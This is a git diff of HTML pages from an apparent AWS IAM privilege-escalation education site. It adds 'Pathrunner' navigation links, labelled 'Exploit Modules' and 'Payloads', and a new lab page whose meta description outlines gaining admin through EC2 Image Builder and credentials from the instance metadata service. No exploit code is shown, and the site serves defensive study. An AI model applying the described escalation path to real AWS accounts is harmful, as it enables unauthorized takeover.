+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-020/index.html b/docs/labs/iam-020/index.html
index 72cc4ee7..7e2dbd0a 100644
--- a/docs/labs/iam-020/index.html
+++ b/docs/labs/iam-020/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-021/index.html b/docs/labs/iam-021/index.html
index 8c468b33..0c0c4ee4 100644
--- a/docs/labs/iam-021/index.html
+++ b/docs/labs/iam-021/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/imagebuilder-001/index.html b/docs/labs/imagebuilder-001/index.html
new file mode 100644
index 00000000..135223aa
--- /dev/null
+++ b/docs/labs/imagebuilder-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>EC2 Image Builder Pipeline to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass privileged instance profile to EC2 Image Builder infrastructure configuration and trigger a build whose component shell commands execute with admin credentials from IMDS to grant the starting user administrative access">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/imagebuilder-001/">
+    <meta property="og:title" content="EC2 Image Builder Pipeline to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass privileged instance profile to EC2 Image Builder infrastructure configuration and trigger a build whose component shell commands execute with admin credentials from IMDS to grant the starting user administrative access">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="EC2 Image Builder Pipeline to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass privileged instance profile to EC2 Image Builder infrastructure configuration and trigger a build whose component shell commands execute with admin credentials from IMDS to grant the starting user administrative access">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
